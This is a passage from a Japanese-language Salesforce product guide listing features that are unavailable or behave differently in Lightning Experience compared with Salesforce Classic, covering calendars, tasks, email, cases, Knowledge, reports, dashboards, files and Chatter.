グの項目の表示と順序をカスタマイズできます。ただし、必須の活動情報を含む特定の項目は、レイアウ
トから削除してもタイムラインに残ります。たとえば、期日、日時、または ToDo の状況の項目をコンパク
トレイアウトから削除するとします。行動の開始日時、ToDo のチェックボックス、ToDo 期日、活動記録日
は活動のタイムラインに引き続き表示されます。行動の説明項目と ToDo のコメント項目はコンパクトレイ
アウトでは使用できませんが、タイムラインには常に表示されます。タイムラインに表示されるの残りの
項目は、コンパクトレイアウトに含まれる項目を反映します。タイムラインの活動種別 (行動、ToDo、電
話、メール) のアイコンはカスタマイズできません。

活動: 行動とカレンダーのみ
Lightning Experience では異なる動作をするか使用できない行動とカレンダーの機能として、営業時間の設定、
Outlook の予定、被招集行動フラグ、カレンダービュー、共有、所有権、公開カレンダーとリソースカレン
ダー、表示するカレンダー項目数の制限、Cloud Scheduler があります。
営業時間

カレンダーには、個人設定で選択した営業時間は表示されません。
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行動の被招集者
Lightning Syncを使用して Microsoft®または Google カレンダー™と Salesforce間で行動と被招集者情報を同期して
いる場合でも、行動の被招集者は表示できません。

行動への招待
行動への他のユーザの招待、行動への招待の更新、招待の受け入れまたは拒否など、被招集行動フラグは
使用できません。

リストビューの絞り込み
行動または ToDo オブジェクトに基づくカレンダーでは、リストビューを絞り込めません。他のオブジェク
トから作成されたカレンダーでは、[私の] および [すべて] で絞り込まれたリストビューはサポートされます
が、[私のチーム] で絞り込まれたリストビューはサポートされません。

カレンダー項目の制限
ユーザは日表示または週表示で合計 150 個までのカレンダー項目を表示できます。この制限には、ユーザ
が作成したカレンダーでの Salesforce 行動と項目が含まれます。ユーザがそのビューの合計数制限を超える
項目数が含まれるカレンダーを選択したとします。Lightning Experience にアラートが表示され、他のカレン
ダーの項目は非表示になります。

カレンダー共有と所有権
カレンダーをマネージャや他の同僚と共有することはできません。ロール階層のマネージャは、レポート
を使用してロール階層内で自分より下位のユーザが所有する行動を参照できますが、編集することはでき
ません。
ミーティングを所有できるユーザは 1 人のみです。ミーティングを他のユーザに再割り当てすると、カレ
ンダーに表示されなくなります。

公開カレンダーおよびリソースカレンダー
公開カレンダーとリソースカレンダーは作成できず、Lightning Experience を使用する場合は、Salesforce Classic

で作成した公開カレンダーとリソースカレンダーを表示できません。
Cloud Scheduler

Lightning Experience では、Cloud Scheduler のミーティング要請はサポートされていません。

活動: ToDo のみ
Lightning Experience では異なる動作をするか使用できない ToDo 機能として、ToDo リスト、ToDo を閉じて開きな
おすこと、ToDo 割り当て通知、グループ ToDo があります。
ToDo リストでの項目の表示と順序

コンパクトレイアウトを使用して、ToDo リストの項目の表示と順序をカスタマイズします。ただし、重要
な ToDo 情報を含む特定の項目は、レイアウトから削除しても ToDo リストに残ります。たとえば、状況お
よび期日の項目をコンパクトレイアウトから削除するとします。ToDo のチェックボックスおよび期日は
ToDo のリストに引き続き表示されます。リストに表示されるの残りの項目は、コンパクトレイアウトに含
まれる項目を反映します。

ToDo リストの期限切れの ToDo

Lightning Experienceでは、1,000 件を超える期限切れの ToDo がある場合、期限切れの ToDo は表示されません。
Salesforce Classic に切り替えて期限切れの ToDo を表示して閉じるか、ToDo を延期するか、期日を削除するこ
とができます。
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ToDo を閉じて開きなおす
コメントを入力してから ToDo を閉じる必要があるなど、ToDo の入力規則がSalesforce組織にあるとします。
組織で複数の ToDo が [完了] の状況になっている場合は、ToDo を開きなおしたり閉じたりするときに、状況
を選択する必要があります。組織で複数の ToDo が [進行中] の状況になっていて ToDo を開きなおすと、
Lightning Experience では前回の [進行中] の状況が記憶されています。

ToDo 割り当て通知
Lightning Experienceでは、ToDo をユーザに割り当てたときにメールを送信するオプションは表示されません。
また、誰かが ToDo を自分に割り当てたときにメールを受信する個人設定も表示されません。ただし、Lightning

Experience から Salesforce Classic に切り替えれば、自分に割り当てた ToDo や、[完了] の状況で作成された ToDo

のメールを受信できます。これらのオプションは、Salesforce システム管理者が組織を設定した方法によっ
て異なります。

グループ ToDo

ToDo のコピーを同僚に割り当てることはできません。
平日繰り返される ToDo

ユーザは Lightning Experienceで頻度が「平日」の定期的な ToDo を作成することはできません。編集ページに
は現在の繰り返しの詳細が表示されないため、Lightning Experienceでこの間隔の ToDo を編集することはお勧
めしません。
ユーザが平日繰り返される ToDo を作成または編集するには、Salesforce Classicに切り替える必要があります。

メモ
関連リストのメモ

Salesforce Classic の従来のメモ取りツールで作成されたメモは、[メモ & 添付ファイル] 関連リストからのみ使
用できます。拡張バージョンのメモで作成したメモは、[メモ] 関連リストにのみ表示されます。

メモへの「コラボレータ」アクセス権
Lightning Experience でメモを共有するときは、他のユーザに「参照」アクセス権のみを付与できます。メモ
では、同時編集はサポートされていません。この制限により、複数のユーザが同時にメモを編集すること
はできないため、お互いのコンテンツに上書きしてしまうことがありません。

インテグレーションメール
サポートされるオブジェクト

インテグレーションメールは取引先、キャンペーン、ケース、取引先責任者、リード、および商談オブジェ
クトで完全にサポートされますが、カスタムオブジェクトではサポートされません。個人取引先レコード
タイプは部分的にサポートされています。取引先責任者の差し込み項目は使用できません。これらのオブ
ジェクトのレコードから、Salesforce で管理されている取引先責任者、リード、ユーザだけでなく、有効な
外部メールアドレスにもメールを送信できます。
テンプレートに使用できる項目は、テンプレートの作成元オブジェクトに基づく項目とユーザの項目です。
たとえば、商談レコードを開いていてテンプレートを作成する場合は、商談の項目とユーザの項目のみを
テンプレートに追加できます。同様に、特定のオブジェクト用に作成されたメールテンプレートを別のオ
ブジェクトで使用することはできません。たとえば、リードオブジェクトに使用するために作成されたテ
ンプレートは、商談レコードから送信されるメールでは使用できません。
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一括メール送信
一括メール送信はサポートされていません。つまり、ユーザが [取引先責任者] から [取引先責任者の一括
メール送信] リンクにアクセスすることはできません。

標準および拡張差し込み印刷
ユーザが Microsoft® Word ドキュメントを作成して Salesforce から項目をマージできる、Salesforce レコードの
[差し込み印刷] ボタンは使用できません。
ただし、ユーザが顧客への連絡時に差し込み項目を活用したい場合は、Salesforce レコードからの差し込み
項目を含む個々のメールを Lightning Experience から送信できます。

差し込み印刷のハイパーリンク項目
ハイパーリンク数式項目は、差し込み項目としてサポートされていません。

メール活動
メールを送信すると、アクションを追跡してメールコンテンツを保存する ToDo レコードが作成されます。
取引先責任者またはリードにメールを送信すると、そのレコードの [最近の活動] フィードに ToDo リンクが
追加されます。受信者が取引先責任者でもリードでもない場合は、メールの送信時に開いていたレコード
の [最近の活動] フィードにメールへのリンクが追加されます。ToDo レコードには、メールと共に送信され
た添付ファイルにアクセスするためのリンクは含まれません。

メールテンプレート
Lightning Experience のメールテンプレートは、リッチテキストをサポートしており、HTML として送信されま
す。
Salesforce Classicで作成されたメールテンプレート (テキスト、レターヘッド付き HTML、Visualforce) は Lightning

Experienceでは使用できず、その逆も同様です。ただし、システム管理者は、Salesforce Classicのメールテンプ
レートを Lightning Experience の [設定] に追加することや [設定] から削除することができます。
Lightning Experience で作成されたすべてのテンプレートは公開です。メールの添付ファイルは、メールが送
信されたときに公開になります。そのため、ユーザは作成したテンプレートを共有する必要がなくなりま
した。

メールの添付ファイル
ファイルへのアクセス権がない場合、そのファイルをメールまたはテンプレートに添付することはできま
せん。添付ファイルのあるテンプレートを選択した場合は、それらのファイルにアクセスしてファイルを
送信する必要があります。メールに添付されたファイルは、メールが送信されたときにハイパーリンクで
公開されます。

メール追跡
メール追跡および [HTML メール状況] 関連リストは、Lightning Experience で使用できません。

Microsoft および Google インテグレーション
Lightning Sync

Lightning Experience では、Microsoft または Google カレンダーから同期される行動の被招集者は表示できませ
ん。
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Work.com

Work.com 販売管理およびサービス管理ツールは、Lightning Experience では使用できません。ただし、Lightning

Experience ユーザは、フィードで受信した感謝バッジとスキル支持を参照できます。

カスタマーサービス機能: Lightning Experience で使用できない機能とその新機
能
ここでは、組織がカスタマーサービスツールを使用している場合の注意事項について説明します。一部のサー
ビス関連機能は、新しいユーザインターフェースでは使用できません。また、一部の機能は Salesforce Classic と
同等ではありません。
• ケースはサポートされていますが、Salesforce Classic と完全に同じ機能を使用できるわけではありません。
• Salesforce Consoleはサポートされていますが、Salesforce Classicと完全に同じ機能を使用できるわけではありま

せん。
• Open CTI はサポートされていますが、Salesforce ClassicのOpen CTIとは機能的な違いがあります。
• サービス予約、サービス人員、サービステリトリー、業務時間、作業指示、作業種別など Field Service Lightning

の標準機能は、納入商品と同様に、完全にサポートされています。
• ソーシャル投稿とソーシャル人格は完全にサポートされていますが、Lightning Experience では設定できませ

ん。

ケース
ケースの所有者をキューに変更すると、ケースのキューだけでなく、有効なすべてのキューが表示されます。
ケースレイアウト

ケースの表示は他のレコードとは若干異なります。サポートエージェントは主にフィードの活動でコラボ
レーションと作業を行うため、ケースにはレコードの詳細または関連情報の代わりにフィードが最初に表
示されます。詳細はフィードの横に表示されます。[活動] タブと [コラボレーション] タブの情報はフィード
に直接表示されるため、これらのタブは表示されません。
ケースフィードをオフにすると、ケースは他のレコードと同様に表示されます。活動とコラボレーション
は表示されますが、フィードファーストのデザインは適用されなくなり、ケースでのクリック数とコンテ
キストの切り替え数が増加します。フィードの代わりにコラボレーション (Chatter) を使用できますが、コラ
ボレーションには便利なケースフィードパブリッシャー (メール、活動の記録、状況の変更など) は含まれ
ません。
ケースフィードパブリッシャーを追加または削除することはできますが、ケースレイアウトの再配置およ
びカスタムボタンとカスタムリンクの追加はサポートされていません。

クローズケースレイアウト
簡易化のため、クローズケースレイアウトは使用できませんが、クローズ状況をケース編集ページに追加
することはできます。[設定] の [サポート設定] ページで、[クローズケースの状況項目を表示] を選択しま
す。

ケースコメント
コメントは [ケースコメント] 関連リストではなくフィードに追加するようになりました。Lightning Experience

では、関連リストにコメントを追加できません。関連リストに表示されるコメントは、Salesforce Classicユー
ザによるものです。
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ケース関連リスト
ケースでは、[ケース履歴]、[ケースマイルストン]、[ケースチーム]、[取引先責任者の役割]、[外部共有]、
[コンテンツ配信]、[Live Chat のトランスクリプト]、[関連コンテンツ]、および [SOS セッション] 関連リスト
を使用できません。

ケースの設定
ケースの新しいフィードファーストデザインを最大限に活用するには、標準ケースフィードパブリッシャー
を再作成します。標準パブリッシャーは使用できませんが、ケースオブジェクトのクイックアクションと
して簡単に再作成できます。パブリッシャーをクイックアクションとして再作成する利点の 1 つは、クイッ
クアクションはモバイルデバイスに表示されるという点です。一方、標準ケースフィードパブリッシャー
はモバイルデバイスには表示されません。

ケースフィードでのソーシャル投稿への返信
Lightning Experienceでは、ソーシャル投稿に対する [いいね!]、[いいね! を取り消す]、[削除] がサポートされま
す。ただし、投稿への返信は Salesforce Classic で行う必要があります。

Salesforce Console for Service

メモ: Lightning コンソールアプリケーションは、まだ Salesforce Classic コンソールアプリケーションと完全
に同じ機能を使用できるわけではありません。たとえば、キーボードショートカットやマクロなどの
Salesforce Classic コンソールアプリケーションの一部の機能は、Lightning コンソールアプリケーションでは
使用できません。
Salesforce Classic コンソールアプリケーションを Lightning Experience に移行することはできません。

Lightning Knowledge

Lightning Knowledge は、まだ Classic Knowledge と完全に同じ機能を使用できるわけではありません。Lightning

Knowledge には次の制限事項が適用されます。
Lightning Knowledge を有効化する前の重要な考慮事項

• Lightning Knowledgeは一度有効化すると、無効化できません。最初に Sandbox 組織で Lightning Knowledgeを
テストすることをお勧めします。

• Lightning Knowledgeを有効化するときに使用できる記事タイプは 1 つのみです。現在、記事タイプをマー
ジする移行ツールはありません。Lightning Knowledgeを有効化するには、記事を 1 つの記事タイプに移行
し、他の記事タイプを無効化または削除します。

• Lightning Knowledge では現在、複数言語モードと翻訳はサポートされていません。
• Lightning Knowledgeはデータカテゴリ数が 300 未満の場合にのみ使用することをお勧めします。データカ

テゴリ数が 300 を超えている場合、パフォーマンスが低下する可能性があります。
• 記事のバージョン数が 30 を超えている場合、30 より大きいバージョンは Salesforce Classicに表示されます

が、Lightning Experience には表示されません。
• Lightning Knowledge の設定は Salesforce Classic でも保持されます。Lightning Knowledge が有効化されると、ナ

レッジレコードタイプ、項目、ページレイアウト、および入力規則を管理する新しい [ナレッジオブジェ
クト設定] 設定ノードが表示されます。
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Lightning Knowledge の一般的な使用制限
• 現在、レコードタイプを使用してインポートまたはエクスポートすることはできません。
• Lightning Knowledge では現在、記事の割り当ておよびアーカイブ済み記事の削除を行うことはできませ

ん。
• Lightning Knowledgeが有効な場合、公開グループで記事アクションを使用することはできません。これは

新しいユーザプロファイル権限で置き換えられています。
• 現在、公開記事を編集中に削除することはできません。代わりに、新しいバージョンをドラフトとして

編集しているときに記事は公開されたままになります。
• Lightning Knowledge では一括アクション (一括アーカイブや一括公開など) を使用できません。
• リストビューでは、すべての [ナレッジ] リストビューで 1 つの言語と 1 つの公開の状況を指定する必要

があります。指定しないと、リストビューにレコードが表示されません。PublishStatus または Language で
の複数選択、またはリストビュー検索条件での「IN」および「OR」演算子はサポートされていません。

• データカテゴリは [ナレッジ] リストビューに表示されません。
• カスタマイズされたレコードホーム flexipage は、Lightning Knowledge ではサポートされていません。
• Lightning Knowledge のナレッジ検索では、外部データソースはサポートされていません。
• 記事のオンラインバージョンがない場合、新しい評価コンポーネントに投票情報は表示されません。す

べてのオンラインバージョンは記事がアーカイブされたときに削除されるため、これは記事ドラフトと
アーカイブ済み記事に影響します。

• ほとんどのナレッジアクションは Lightning プロセスビルダーでは使用できません。
Lightning Knowledge のコンソールの制限

• ナレッジフッターは Lightning サービスコンソールにはありません。
• Lightning サービスコンソールでは、PDF としての添付、ケースメールへの PDF としての添付、ケースメー

ルへの記事コンテンツの挿入、記事のコミュニティ URL の挿入、およびケースパブリッシャーへの記事
URL の挿入アクションは使用できません。編集、公開、アーカイブを含む標準の記事アクションも使用
できません。

Lightning Knowledge の有効化後の Salesforce Classic での制限
• 複数言語モードは、Lightning Knowledge が有効化された後は有効にできません。
• アクションおよび関連リストのページレイアウト選択は、Salesforce Classic には反映されません。
• 2 列のページレイアウトは、Salesforce Classic では表示されません。
• レコードタイプの変更などの一部のアクションは、Salesforce Classic では使用できません。
• [ナレッジ] リストビューは、Salesforce Classic では使用できません。
• ナレッジレコードタイプでの検索は、Salesforce Classic では実行できません。
• アーカイブ済み記事での検索は、Salesforce Classic では [記事の管理] 以外からは実行できません。
• Lightning Experience のファイルは Salesforce Classic には表示されず、Salesforce Classic のファイルは Lightning

Experience には表示されません。
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他の Salesforce 製品での Lightning Knowledge の使用制限
• Classic Knowledge 実装での添付ファイルは、Lightning Knowledge には転送されません。記事を Lightning

Knowledgeに移行した後に、ページレイアウトに [ファイル] 関連リストを追加し、各記事の [ファイル] 関
連リストを使用してファイルを移行してください。

• ファイルが記事に関連付けられた後に [ファイル] コンポーネントからそのファイルを添付解除または削
除することはできません。レコードフィードを介してファイルがレコードと共有されている場合、その
フィード投稿を削除することで対処できます。ファイルの削除についての詳細は、「フィードからの
ファイルとリンクの削除」 (ページ 3677)を参照してください。

• 現在、添付ファイルを記事から削除する唯一の方法は、そのファイルを [ファイル] ホームから削除する
ことです。

• レコードタイプによるレポート作成は現在、Lightning Knowledge ではサポートされていません。
• すべてのリッチテキストエディタは現在、LockerService が有効な場合は無効です。Sandbox または Developer

Edition 組織で Lightning Knowledge を使用している場合、Lightning Experience で LockerService をオフにするこ
とをお勧めします。本番組織で Lightning Knowledgeを使用している場合、Lightning Experienceで LockerService

を有効にしないことをお勧めします。
• リッチテキストエディタはLightning Experienceでは制限されています。Lightning Knowledgeでは現在、リッ

チテキストエディタ機能のスマートリンク、テーブル、ソースの表示、アンカー、動画はサポートされ
ず、フォントは制限されています。

• Lightning Knowledge は現在、コミュニティではサポートされていません。
• Lightning Knowledge は現在、Salesforce1 ではサポートされていません。

Open CTI とコールセンター
Salesforce Classic と Lightning Experience 用に別個の Open CTI API があります。これら 2 つの Open CTI API は動作や機能
が異なるため、カスタム JavaScript コードで交換することはできません。機能の違いを含むこの 2 つの API につ
いての詳細は、『Open CTI 開発者ガイド』を参照してください。
Lightning Experience で作業するときは次の点に留意してください。
• Open CTI for Lightning Experience は Lightning アプリケーションでのみ動作し、Open CTI for Salesforce Classic は Classic

アプリケーションでのみ動作します。
標準搭載されたサービスアプリケーションは、Salesforce Classicアプリケーションです。サービスアプリケー
ションでソフトフォンを使用すると、サービスアプリケーションがLightning Experienceから起動された場合、
これらのソフトフォンは機能しません。
標準搭載されたサービスコンソールアプリケーションは、Lightning Experience アプリケーションです。サー
ビスコンソールアプリケーションでは Open CTI for Lightning Experience を使用します。

• Open CTI for Lightning Experienceでは、新規ブラウザタブやウィンドウで開く画面ポップがサポートされていま
せん。

サポート対象外の Service Cloud の機能
ほとんどの Service Cloud の機能はLightning Experienceでは使用できません。次の機能はサポートされていません。
• Live Agent チャット
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• オムニチャネル
• エンタイトルメント
• マイルストン
• マクロ
Field Service Lightning 管理パッケージは、Lightning Experience でサポートされていません。
既存の Salesforce to Salesforce ユーザの場合、接続によって共有されたレコードは、そのオブジェクト種別が
Lightning Experience でサポートされている限り新しいユーザインターフェースで使用できます。

関連トピック:

Open CTI 開発者ガイド
Lightning Experience コンソールの制限事項

レポートおよびダッシュボード: Lightning Experience で使用できない機能とそ
の新機能
ここでは、Lightning Experienceでレポートとダッシュボードを使用するときの注意事項について説明します。新
しいユーザインターフェースでは、Salesforceデータおよび機能の一部を使用できません。また、一部の機能は
Salesforce Classic と同等ではありません。

レポート
Lightning Experience で使用できない機能

Lightning Experience 機能に関する留意事項機能

結合レポート

Salesforce Classic でスケジュールされたレポートの更
新は、Lightning Experience でも引き続き動作します。
Lightning Experience では、ユーザはレポートの更新を
スケジュールする代わりに、レポートに登録できま
す。

レポートの更新のスケジュール

Lightning Experience には印刷オプションはありません
が、ユーザはブラウザの [印刷] 機能を使用してレ
ポートを印刷できます。

レポートの印刷

キャンペーンへの追加

アクセシビリティモードを有効にしているユーザ
は、Salesforce Classic に切り替えてからレポートの作
成や編集を行う必要があります。

レポートビルダーのアクセシビリティモード
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Lightning Experience で制限付きで使用できる機能

Lightning Experience 機能に関する留意事項機能

Lightning Experience では、グラフを含む履歴トレンド
レポートはサポートされますが、履歴トレンドレ
ポートの表形式ビューは使用できません。

履歴トレンドレポートの表形式ビュー

Lightning Experience からエクスポートされたレポート
のフッターには、「社外秘情報-配布厳禁」という免

レポートのエクスポート

責事項が含まれることはありません。この免責事項
は、[設定] の[エクスポートされたレポートから免責
事項を除外] 設定を無効にした場合でも除外されま
す。

次の検索条件は、レポートの作成または編集時には
使用できますが、レポート表示時の条件パネルには

検索条件

表示されません。検索条件が表示されなくても、レ
ポートは引き続き絞り込まれます。
• 行制限の検索条件
• 履歴項目の絞り込み
• 標準の検索条件 (日付、選択リスト、文字列フィ

ルタを除く)

Lightning Experience では、ユーザはレポートに登録す
ることはできますが、通知条件を設定することはで
きず、レポート結果をメールで受信するのみです。

レポートの登録

Lightning Experience でのレポートの使用に関するその他の留意事項

Lightning Experience 機能に関する留意事項機能

Lightning Experience ではまだすべての標準 Salesforce オ
ブジェクトはサポートされていませんが、Lightning

レポートのオブジェクトサポート

Experienceのレポートビルダーではすべてサポートさ
れています。ユーザはすべての標準オブジェクトの
レポートを作成および表示できます。Lightning

Experienceではまだサポートされていないオブジェク
トに関連するレポートは新しいインターフェースで
直接開き、その他のレポートと同様に動作します。

254

Lightning Experience と Salesforce Classic 間の機能の違い組織の Lightning Experience の評価とロールアウト



ダッシュボード
Lightning Experience でのダッシュボードの使用に関する考慮事項

• Lightning Experienceで保存したダッシュボードは、Salesforce Classicでは編集できません。Lightning Experience

で Salesforce Classic ダッシュボードを編集する代わりに、ダッシュボードをコピーしてそのコピーを編集
することを検討してください。これにより、Salesforce Classic では引き続き元のダッシュボードを編集で
きます。

Lightning Experience で使用できない機能

Lightning Experience 機能に関する留意事項機能

Lightning Experience ユーザは、条件設定済みダッシュ
ボードを表示できます。Salesforce Classic で追加され
た検索条件は適用またはクリアできます。
条件設定済みダッシュボードの作成、編集、削除
や、ダッシュボード検索条件の追加、変更、削除を
行うには、Salesforce Classic に切り替えます。

条件設定済みダッシュボードの作成、編集、および
削除

Lightning Experience では、ユーザはダッシュボードの
更新をスケジュールできませんが、Salesforce Classic

ダッシュボードの更新のスケジュール

でスケジュールされたダッシュボードの更新は、
Lightning Experience でも引き続き動作します。

ダッシュボードの Visualforce コンポーネント

ダッシュボードコンポーネントから Web サイトまた
はメールアドレスへのリンク

アクセシビリティモードを有効にしているユーザ
は、Lightning Experience ダッシュボードを引き続き作

ダッシュボードエディタのアクセシビリティモード

成および編集できますが、十分に利用できる操作性
を得るには Salesforce Classic に切り替える必要があり
ます。

Lightning Experience で制限付きで使用できる機能

Lightning Experience 機能に関する留意事項機能

Lightning Experience では、ユーザはダッシュボードコ
ンポーネントをフォローできません。ユーザには

ダッシュボードのフォロー

Lightning Experience フィード内のダッシュボードフィー
ド活動 (投稿など) のみが表示されます。
ダッシュボードコンポーネントをフォローするに
は、ユーザはLightning Experienceでダッシュボードを
フォロー解除し、Salesforce Classicに切り替えてから、
Salesforce Classicでダッシュボードをフォローします。
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フォルダ
Lightning Experience で使用できない機能

Lightning Experience 機能に関する留意事項機能

標準フォルダ (Salesforce にパッケージ化されているデ
フォルトのレポートとダッシュボードを含む)

ユーザはLightning Experienceダッシュボードエディタ
からフォルダ間でダッシュボードを移動できます

フォルダ間でのレポートの移動

が、レポートを移動するには Salesforce Classic に切り
替える必要があります。

Salesforce Classic で作成されたフォルダとそのコンテ
ンツはLightning Experienceで使用できます。レポート

レポートフォルダとダッシュボードフォルダの作成
および削除

やダッシュボードの作成またはコピー時、ユーザは
これらのフォルダ内に保存することができます。

Salesforce Classic のフォルダに対する共有権限セット
はLightning Experienceでも有効ですが、共有権限の設
定や変更を行うことはできません。

レポートフォルダおよびダッシュボードフォルダの
共有

Lightning Experience では、ユーザはレポートフォルダ
とダッシュボードフォルダの検索ができません。グ

レポートフォルダおよびダッシュボードフォルダの
検索

ローバル検索の結果にはレポートとダッシュボード
が含まれますが、レポートフォルダとダッシュボー
ドフォルダは含まれません。

グラフ
Lightning Experience でのグラフの使用に関する考慮事項

Lightning Experience 機能に関する留意事項機能

表形式グラフには Chatter 写真が表示され、条件付き
強調表示が示されますが、ユーザがこれらの機能を

表形式グラフ

設定する場合は Salesforce Classic に切り替える必要が
あります。

ダッシュボードに組み合わせグラフを追加する、ま
たは組み合わせグラフを編集する場合は、Salesforce

Classic に切り替えます。

組み合わせグラフ

じょうごグラフをダッシュボードに追加するか、
じょうごグラフを編集するには、Salesforce Classic に
切り替えます。

じょうごグラフ
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Lightning Experience 機能に関する留意事項機能

ゲージグラフのブレークポイントでは、整数のみ使
用できます。たとえば、5 は有効なブレークポイン
トですが、5.1 は有効ではありません。
レポートでは、ゲージグラフは棒グラフとして表示
されます。

ゲージグラフ

散布図をダッシュボードに追加するか、散布図を編
集するには、Salesforce Classic に切り替えます。

散布図

小グループを組み合わせるには、Salesforce Classic に
切り替えます。

小グループを「その他」に組み合わせる

ダッシュボードコンポーネントに複数のグルーピン
グがある場合、Salesforce Classic と Lightning Experience

表示する最大件数

での [表示する最大件数] 設定の動作が若干異なりま
す。
Salesforce Classic では、表示する最大件数には最初の
グルーピングのみがカウントされます。
Lightning Experience では、表示する最大件数には最初
のグルーピングと 2 つ目のグルーピングの両方がカ
ウントされます。
レコードがグループ化される方法によっては、
Salesforce Classic と Lightning Experience でダッシュボー
ドコンポーネントの外観が異なる場合があります。
たとえば、積み上げ横棒グラフで [表示する最大件
数] を 10 に設定したとします。Salesforce Classicでは積
み上げ横棒が 10 個表示されますが、Lightning

Experience で表示される積み上げ横棒は 6 個のみで
す。

グラフエディタでは、ユーザは次の操作を実行でき
ません。

グラフエディタ

• 測定単位を変更する (メートルからセンチメート
ルなど)

• 複数の集計を追加する
• ソースレポートのグラフを使用する

ダッシュボードコンポーネントでは、グラフには最
大 200 件のグルーピングが表示されます。データ供

グラフに表示されるグルーピング数

給レポートで 200 件を超えるグルーピングが返され
る場合、ダッシュボードコンポーネントには最初の
200 件のグルーピングのみが表示されます。
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Lightning Experience 機能に関する留意事項機能

レポートでは、グラフには最大 2,000 件のグルーピ
ングが表示されます。

Lightning Experience で使用できない機能

Lightning Experience 機能に関する留意事項機能

Salesforce Classicの円グラフは、Lightning Experienceでは
ドーナツグラフとして表示されます。

円グラフ

関連トピック:

ダッシュボードの制限

ファイルおよびコンテンツ: Lightning Experience で使用できない機能とその新
機能
ここでは、Lightning Experienceで Salesforce Filesおよびその他のコンテンツ機能を使用するときの注意事項につい
て説明します。新しいユーザインターフェースでは、データおよび機能の一部を使用できません。また、一部
の機能は Salesforce Classic と同等ではありません。
Salesforce Files

• Lightning Experienceではファイルをライブラリと共有することはできません。ただし、ライブラリのファ
イルは、Lightning Experience の [ファイル] ホームと、Salesforce ファイルを選択してフィード投稿に添付す
るときに表示されます。

• ファイルと添付ファイルは、これまでと同様 2 つの異なるオブジェクト種別です。添付ファイルは、
ファイルとは異なり、特定のレコードにのみ関連付けられ、それ以上共有することはできません。
Lightning Experienceでは、[メモ & 添付ファイル] 関連リストにファイルがアップロードされます。Spring '16

より前のSalesforce Classicでは、この関連リストには常に、ファイルではなく、添付ファイルがアップロー
ドされていました。つまり、既存の組織の場合、[メモ & 添付ファイル] リストに、Salesforce Classicでアッ
プロードされた添付ファイルとLightning Experienceで追加されたファイルが混在している可能性がありま
す。
API では、[メモ & 添付ファイル] リストから添付ファイルを取得する既存のインテグレーションには、
Lightning Experienceでリストにアップロードされたファイルは含まれません。ファイルと添付ファイルを
取得するには、新しい API コールが必要です。

• Lightning Experience では、[メモ & 添付ファイル] 関連リストおよびファイル詳細ページの関連リストで行
レベルのアクション (編集や削除など) を使用できせん。ファイルを削除および管理するには、[ファイ
ル] ホームで行レベルのアクションを使用するか、ファイルのプレビューまたは詳細ページでクイック
アクションを使用します。

• Lightning Experience ではファイルを非公開にすることができません。
• Lightning Experience ではリンクを使用してファイルを共有することができません。
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ファイル同期
ファイル同期は Lightning Experience では使用できません。ただし、[ファイル] ホームには [同期済み] フィル
タがあるため、Salesforce Classic で同期したファイルに簡単にアクセスできます。

Salesforce CRM Content

Lightning Experience ではライブラリの作成や管理はできませんが、ライブラリ内にあるファイルは新しいイ
ンターフェースで使用できます。ライブラリ内のファイルには [ファイル] ホームからアクセス可能で、
Salesforce Filesと同様にファイルの共有と操作を行うことができます。ユーザはアクセス権のあるライブラリ
を参照し、[ファイル] ホームの絞り込まれたビューからライブラリ内のファイルにアクセスできます。

ドキュメント
Lightning Experience ではドキュメントを使用できません。

Chatter: Lightning Experience で使用できない機能とその新機能
ここでは、Lightning Experience でユーザがコラボレーションするときの注意事項について説明します。一部の
Chatter 機能はサポートされていません。また、一部の機能は Salesforce Classic と同等ではありません。

Chatter フィード
Chatter パブリッシャー

Lightning Experience では、ユーザは次の投稿種別を作成できます。
• テキスト投稿 (添付ファイルの有無を問わず)

• アンケート
• 質問
• グループフィードへのお知らせの投稿
[感謝] など他の投稿種別は現在サポートされていません。

投稿の共有
ユーザはフォロワーと投稿を共有できますが、グループと投稿を共有することはできません。

フィードのフィルタおよび並び替え
ユーザは [更新を減らす] 以外のすべての方法でグループフィードを絞り込むことができます。

Chatter での承認
Lightning Experience ユーザは、Chatter またはレコードの活動タイムラインで承認申請を表示することはでき
ません。

Chatter トピック
Chatter トピックは使用できません。

顔文字
顔文字は使用できません。

検索結果の強調表示
ユーザがフィードで検索を実行すると、検索結果でキーワードが強調表示されません。

グローバル検索結果の絞り込み
ユーザが、グローバル検索の結果をフィードで絞り込むことはできません。
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Chatter メッセージ
Chatter メッセージは使用できません。

Chatter の質問
ユーザが過去にあった質問をすると、Salesforce Classicとは異なり、オートコンプリートオプションは提供さ
れません。

人とプロファイル
Lightning Experience で人とプロファイルを使用するときには、次の機能を使用できません。
• [すべてのユーザ] リスト
• Chatter Influence

• [取引先責任者] 項目と [会社情報] 項目を従業員、外部ユーザ、または公開 (ゲスト) ユーザにのみ表示
• ユーザプロファイルのタブの追加または並び替え
• プロファイル写真のモデレータバッジ
• システム管理者による [ユーザプロファイル] ページへの新規アクションの追加。[編集] および [ユーザの詳

細] オプションのみが表示されます。
• Chatter External ライセンスを持つユーザは、プロファイルを編集できません。
• Lightning Experienceでのコミュニティのプロファイル写真は、Salesforce Classicの写真よりも大きく、より高い

解像度で表示されます。Salesforce Classicでアップロードされたプロファイル写真は、Lightning Experienceで写
真をアップロードし直すまで Lightning Experience では鮮明に表示されません。

フォロー
Salesforce Classicでユーザがフォローしている数には、ユーザ数とレコード数が含まれます。Lightning Experience

では、この数にはユーザ数のみが含まれます。

グループ
Lightning Experience でグループを使用するときには、次の機能を使用できません。
• グループリストビューページにおすすめグループを表示する。
• 顧客グループで [レコードの追加] アクションを使用してレコードをグループに追加する (自分または別のシ

ステム管理者がこのアクションをグループパブリッシャーに追加している場合も含む)。
• [ユーザを招待] オプションを選択し、メールアドレスを使用して顧客をグループに招待する。代わりに、

組織に顧客に対応するユーザを作成し、[メンバーの追加] アクションを使用してグループに追加する必要
があります。

• グループメールアドレスまたは [メールで投稿] リンクを表示する。
ユーザがグループメールアドレスを知っているか、Salesforce Classicから保存した場合は、引き続きグループ
にメールを送信してメールでグループに投稿することができます。

• Chatter 全体の通知設定にグループ通知設定からアクセスする。
• グループファイルリストからファイルを削除する。
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その他の Salesforce 製品: Lightning Experience で使用できない機能とその新機能
このリリースの Lightning Experience では、次の Salesforce 製品はサポートされていません。
• Salesforce Communities

メモ: コミュニティでは Lightning Experience のログイン操作を使用します。さらに、Lightning Experience

では、Salesforce Communities の設定ページを使用できます。
• コミュニティビルダー
• Pardot

• RelateIQ

ナビゲーションおよびアクション: Lightning Experience で使用できない機能と
その新機能
ここでは、Lightning Experienceでナビゲーションを行うときとアクションを使用するときの注意事項について説
